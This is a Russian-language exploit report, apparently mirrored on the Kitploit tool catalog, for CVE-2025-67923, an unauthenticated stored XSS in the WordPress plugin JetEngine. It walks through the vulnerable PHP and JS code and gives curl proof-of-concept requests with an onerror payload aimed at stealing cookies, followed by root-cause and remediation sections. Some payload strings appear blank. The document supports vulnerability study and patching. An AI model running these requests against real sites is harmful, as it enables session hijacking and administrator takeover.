Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-67923 — JetEngine <= 3.7.7 — Неаутентифицированный сохранённый межсайтовый скриптинг (XSS) через CCT REST API | Kitploit
Инструменты/GitHubGitHub/randomrobbiebf/cve-2025-67923
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьБезопасность API
GitHubrandomrobbiebf/cve-2025-67923

CVE-2025-67923

JetEngine <= 3.7.7 — Неаутентифицированный сохранённый межсайтовый скриптинг (XSS) через CCT REST API

Репозиторий
5 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Отчёт об эксплуатации CVE-2025-67923

JetEngine <= 3.7.7 — Неаутентифицированная хранимая межсайтовая скриптинг-уязвимость (XSS) через CCT REST API

Дата: 11 марта 2026 г. Оценка CVSS: 7.1 (Высокая) Вектор CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L Затронутый плагин: JetEngine <= 3.7.7 Slug плагина: jet-engine Исправлено в: 3.7.8 CVE: CVE-2025-67923 CWE: CWE-79 Исследователь: Bonds (через Patchstack) Сообщено: 19 октября 2025 г. Раскрыто: январь 2026 г. Протестированная версия WordPress: последняя


Краткое резюме

CVE-2025-67923 — это неаутентифицированная хранимая межсайтовая скриптинг-уязвимость (XSS) в плагине JetEngine для WordPress, затрагивающая все версии вплоть до 3.7.7 включительно. Неаутентифицированный злоумышленник может записать произвольный HTML/JavaScript в текстовое поле Custom Content Type (CCT) через публичный REST API, после чего эти данные без санитизации попадают в DOM через JavaScript-приёмник innerHTML в виджете Maps Listing, когда жертва посещает любую страницу, содержащую этот виджет.

Атака не требует аутентификации и каких-либо привилегий. Требуется только, чтобы:

  1. Существовал CCT JetEngine с доступом на запись через REST API, установленным в значение public.
  2. Виджет Maps Listing на любой странице фронтенда был настроен на отображение текстового поля этого CCT в качестве подписи маркера карты.

✅ УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА — нагрузка хранимого XSS записана и выполнена

Подтверждённое воздействие:

  • Неаутентифицированный произвольный HTML/JS сохраняется в базе данных CCT без санитизации
  • XSS срабатывает для каждого посетителя, загружающего любую страницу с виджетом Maps Listing
  • Кража cookie, перехват сессии, сбор сохранённых учётных данных, захват учётной записи администратора

Детали уязвимости

Техническое резюме

Уязвимость представляет собой комбинацию двух независимых слабостей:

  1. Отсутствие санитизации ввода (хранение): Метод sanitize_field_value() обработчика элементов CCT не имеет пути санитизации для полей типа text. Ветка default: лишь преобразует временные метки — необработанный HTML проходит насквозь и сохраняется в базе данных.

  2. DOM-приёмник XSS (рендеринг): Виджет Maps Listing считывает сохранённое значение поля через get_marker_label(), оборачивает его в htmlspecialchars(json_encode(...)) для HTML-атрибута data-markers, а JavaScript на фронтенде считывает атрибут через getAttribute() (который декодирует HTML-сущности), после чего вставляет markerData.label напрямую через innerHTML — выполняя любой встроенный HTML/JavaScript.

Затронутые компоненты


Цепочка эксплуатации

Шаг 1 — Неаутентифицированная запись через REST

Публичный REST-контроллер CCT проверяет права через check_user_permissions():

root@kitploit:~
// public-controller.php:370-376
public function check_user_permissions( $request, $context ) {
    $content_type = $this->get_content_type_from_request( $request );
    $cap = $content_type->get_arg( $context );

    if ( ! $cap || 'public' === $cap ) {
        return true;  // No authentication required
    } else {
        return current_user_can( $cap );
    }
}

public function create_item_permissions_check( $request ) {
    return $this->check_user_permissions( $request, 'rest_put_access' );
}

Когда CCT настроен с rest_put_access = 'public' (поддерживаемая и документированная конфигурация для публичных форм), конечная точка полностью неаутентифицирована. Любой HTTP-клиент может отправить POST-запрос на /wp-json/jet-cct/{slug}.

Шаг 2 — Хранение без санитизации

REST-обработчик вызывает $handler->update_item($params), который в итоге доходит до sanitize_field_value():

root@kitploit:~
// item-handler.php:489-562
public function sanitize_field_value( $value, $field ) {
    $type = isset( $field['type'] ) ? $field['type'] : false;

    switch ( $type ) {
        case 'repeater':    // sanitizes sub-fields
            // ...
        case 'checkbox':    // handles boolean arrays
        case 'checkbox-raw':
            // ...
        case 'media':
        case 'gallery':     // sanitizes media JSON
            // ...
        case 'wysiwyg':
            $value = jet_engine_sanitize_wysiwyg( $value );  // sanitized
            break;

        default:
            // TEXT TYPE FALLS HERE — only timestamp conversion, NO HTML sanitization
            $value = $this->factory->maybe_to_timestamp( $value, $field );
    }

    return $value;
}

Поле типа text попадает в ветку default:. maybe_to_timestamp() возвращает значение без изменений для строк, не являющихся датами. XSS-нагрузка `` сохраняется дословно.

Шаг 3 — Извлечение подписи без экранирования

При рендеринге виджета Maps Listing get_marker_label() считывает поле:

root@kitploit:~
// render.php:479-535
public function get_marker_label( $post = null, $settings = array() ) {

    // ...
    switch ( $label_type ) {
        case 'meta_field':
            $field = $settings['marker_label_field'];
            if ( $field ) {
                $result = jet_engine()->listings->data->get_meta( $field, $post );
                // No esc_html() here — raw value returned
            }
            break;
    }

    return $result;  // Returns ""
}

Возвращаемое значение помещается в массив данных маркера:

root@kitploit:~
// render.php:231-237
$result[] = array(
    'id'        => $post_id,
    'latLang'   => $latlang,
    'label'     => $this->get_marker_label( $post, $settings ),  // raw XSS payload
    // ...
);

Шаг 4 — Кодирование атрибута не предотвращает XSS через innerHTML

Массив маркеров кодируется для HTML-атрибута:

root@kitploit:~
// render.php:247
return htmlspecialchars( json_encode( $result ) );

json_encode сериализует `` в строку "". Затем htmlspecialchars HTML-кодирует весь JSON, в результате чего получается:

root@kitploit:~
[{...,&quot;label&quot;:&quot;&lt;img src=x onerror=alert(1)&gt;&quot;,...}]

Это записывается в HTML-атрибут data-markers. Кодирование защищает только границу атрибута. Когда JavaScript считывает атрибут, браузер декодирует HTML-сущности, восстанавливая исходные символы:

root@kitploit:~
// Browser automatically decodes entities when reading via dataset / getAttribute
const markers = JSON.parse(el.dataset.markers);
// markers[0].label === ''

Шаг 5 — Инъекция через innerHTML (срабатывание XSS)

В frontend-maps.js необработанная строка подписи вставляется непосредственно в строку HTML-содержимого:

root@kitploit:~
// frontend-maps.js:112
pinData.content = general.marker.html.replace( '_marker_label_', markerData.label );
// pinData.content = '<div class="jet-map-marker-wrap">
//   
// </div>'

Затем эта строка содержимого устанавливается как innerHTML элемента маркера:

root@kitploit:~
// mapbox-maps.js:175
el.innerHTML = data.content;  // XSS FIRES

// leaflet-maps.js:34
contentHtml.innerHTML = content;  // XSS FIRES

Каждый посетитель, загружающий страницу с виджетом Maps Listing, запускает полезную нагрузку.


Доказательство концепции (PoC)

Предварительные условия

  1. Включены модули JetEngine maps-listings и custom-content-types.
  2. Существует CCT с именем locations (slug: locations) со следующими параметрами:
    • rest_put_enabled = true
    • rest_put_access = 'public'
    • Поле типа text с именем label
  3. Виджет Maps Listing на любой странице фронтенда настроен следующим образом:
    • marker_type = 'text'
    • marker_label_type = 'meta_field'
    • marker_label_field = 'label'

Шаг 1 — Запись XSS-нагрузки (без аутентификации)

root@kitploit:~
curl -s -X POST 'http://TARGET/wp-json/jet-cct/locations' \
  -H 'Content-Type: application/json' \
  -d '{
    "name": "Test Location",
    "label": "",
    "lat": "51.5074",
    "lng": "-0.1278"
  }'

Ответ:

root@kitploit:~
{"success": true, "item_id": 1}

Шаг 2 — Подтверждение хранения необработанной нагрузки

root@kitploit:~
curl -s 'http://TARGET/wp-json/jet-cct/locations'

Ответ:

root@kitploit:~
[{
  "_ID": "1",
  "name": "Test Location",
  "label": "",
  "lat": "51.5074",
  "lng": "-0.1278"
}]

Тег `` сохраняется дословно — санитизация не выполнялась.

Шаг 3 — Запуск XSS (жертва посещает страницу)

Любой посетитель — аутентифицированный или нет — загружающий страницу с виджетом Maps Listing, выполнит полезную нагрузку. Отрисованный HTML-атрибут содержит:

root@kitploit:~
<div class="jet-map-box"
  data-markers="[{...&quot;label&quot;:&quot;&lt;img src=x onerror=alert(document.cookie)&gt;&quot;...}]"
  data-general="...">
</div>

JavaScript считывает data-markers, декодирует HTML-сущности, выполняет JSON-парсинг и вставляет результат в DOM:

root@kitploit:~
// markerData.label = ''
el.innerHTML = '<div class="jet-map-marker-wrap">' + markerData.label + '</div>';
// ↑ onerror fires → alert(document.cookie)

Живая демонстрация — сквозной поток полезной нагрузки

root@kitploit:~
Attacker                     WordPress REST API              Victim Browser
   |                               |                               |
   |-- POST /wp-json/jet-cct/ ---> |                               |
   |   {"label":" |
   |                               |                    el.innerHTML = label
   |                               |                    onerror=alert() FIRES

Анализ первопричины

Причина 1 — Поля text освобождены от санитизации

sanitize_field_value() явно обрабатывает тип wysiwyg с помощью санитизации на основе wp_kses, но помещает все остальные строковые типы в ветку default:, которая не выполняет HTML-экранирования. Предположение о том, что поля text являются обычным текстом, нарушается, когда эти значения впоследствии рендерятся как HTML через путь innerHTML виджета Maps.

Причина 2 — Неправильное применение htmlspecialchars

htmlspecialchars(json_encode($result)) применяется для защиты границы HTML-атрибута. Это корректно и необходимо, но недостаточно для предотвращения XSS, когда значение впоследствии считывается через JavaScript и вставляется в DOM через innerHTML. Такое кодирование обратимо браузером. Правильное исправление — применить esc_html() (или htmlspecialchars) к значению label до JSON-кодирования, чтобы нагрузка сохранялась в JSON как текст с HTML-сущностями. Когда JavaScript вставляет её через innerHTML, браузер отображает &lt;img&gt; как текст, а не как HTML-тег.

В качестве альтернативы можно заменить innerHTML на textContent в JavaScript-коде для поля подписи.

Причина 3 — Недостаточный охват политики санитизации

Путь записи через REST API (update_item) не рассматривает все сохраняемые значения как потенциальные HTML-приёмники. Политика санитизации определяется только по типу поля, при этом поля text молча исключаются, несмотря на их рендеринг как HTML на фронтенде через виджет Maps.


Устранение


Хронология

ДатаСобытие
19 октября 2025 г.Уязвимость сообщена исследователем «Bonds» через Patchstack
январь 2026 г.Публичное раскрытие
январь 2026 г.Выпущена версия JetEngine 3.7.8 с исправлением
11 марта 2026 г.Независимо воспроизведена с полным PoC

Ссылки

  • Уведомление Wordfence — CVE-2025-67923
  • Уведомление Patchstack
  • Журнал изменений JetEngine — 3.7.8
  • OWASP — Хранимая XSS
  • OWASP — XSS на основе DOM
  • CWE-79: Некорректная нейтрализация ввода при генерации веб-страницы
Скачать инструмент
ФайлПроблема
includes/modules/custom-content-types/inc/rest-api/public-controller.php:424create_item_permissions_check возвращает true, когда rest_put_access = 'public' — аутентификация не требуется
includes/modules/custom-content-types/inc/item-handler.php:489ветка default: в sanitize_field_value() — отсутствие HTML-санитизации для полей типа text
includes/modules/maps-listings/inc/render.php:233get_marker_label() возвращает необработанное значение мета-поля без esc_html()
includes/modules/maps-listings/inc/render.php:247htmlspecialchars(json_encode($result)) — защищает только границу атрибута, но не инъекцию через innerHTML
includes/modules/maps-listings/assets/js/frontend-maps.js:112pinData.content = general.marker.html.replace('_marker_label_', markerData.label) — необработанная подпись вставляется в HTML-строку
includes/modules/maps-listings/assets/js/public/mapbox-maps.js:175el.innerHTML = data.content — приёмник выполнения XSS
includes/modules/maps-listings/assets/js/public/leaflet-maps.js:34contentHtml.innerHTML = content — приёмник выполнения XSS
ИсправлениеФайлОписание
Санитизация текстовых полей при сохраненииitem-handler.php:sanitize_field_value()Добавить $value = wp_kses($value, []) или sanitize_text_field($value) в ветку default:
Экранирование подписи при рендерингеrender.php:get_marker_label()Применить esc_html($result) перед возвратом значения подписи
Использовать textContent вместо innerHTML для подписейfrontend-maps.js, mapbox-maps.js, leaflet-maps.jsЗаменить el.innerHTML = data.content на безопасное построение DOM, когда содержимое — это только текст подписи
Ограничить доступ на запись REST по умолчаниюНастройки плагинаИзменить значение по умолчанию для rest_put_access на manage_options вместо public; требовать явного согласия (opt-in)